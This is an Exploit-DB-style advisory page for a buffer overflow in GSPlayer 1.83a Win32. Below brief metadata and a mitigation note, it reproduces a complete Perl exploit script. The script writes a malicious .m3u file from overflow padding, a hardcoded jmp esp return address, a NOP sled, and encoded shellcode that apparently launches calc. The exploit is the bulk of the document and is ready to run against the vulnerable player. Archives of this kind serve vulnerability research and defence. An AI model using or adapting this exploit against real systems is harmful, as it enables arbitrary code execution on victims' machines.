GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability

vendor:

GSPlayer

by:

moigai

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: GSPlayer

Affected Version From: 1.83a Win32 Release

Affected Version To: 1.83a Win32 Release

Patch Exists: YES

Related CWE: N/A

CPE: a:vector:gsplayer:1.83a_win32_release

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 En (VM)

2010

GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability

GSPlayer 1.83a Win32 Release is vulnerable to a buffer overflow vulnerability. An attacker can exploit this vulnerability by creating a malicious .m3u file containing a specially crafted payload and sending it to the victim. When the victim opens the malicious file, the payload will be executed, allowing the attacker to execute arbitrary code on the victim's system.

Mitigation:

Update to the latest version of GSPlayer 1.83a Win32 Release.

Source

Exploit-DB raw data:

# Exploit Title: GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability
# Date: 2010/11/04
# Author: moigai
# e-mail: again.liu@gmail.com
# Software Link: http://www.vector.co.jp/download/file/win95/art/fh296344.html
# Version: 1.83a Win32 Release
# Tested on: Windows XP SP3 En (VM)

my $file = "GSPlayer.m3u";

my $junk1 = "\x41" x 257;

#jmp esp from kernel32.dll
my $eip = pack('V',0x7C86467B);
my $junk2 = "Ai7Ai8Ai";
my $nop = "\x90" x 30;

#executes calc
my $shell = 
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

my $payload = $junk1 . $eip . $junk2 . $nop . $shell;
my $rest = "\x42" x (4064 - length($payload));
$payload = $payload . $rest . ".mp3";

print "\n[+] Creating m3u file\n";
open(FILE, ">$file");
print FILE $payload;
close(FILE);
print "[+] File " . $file . " created\n";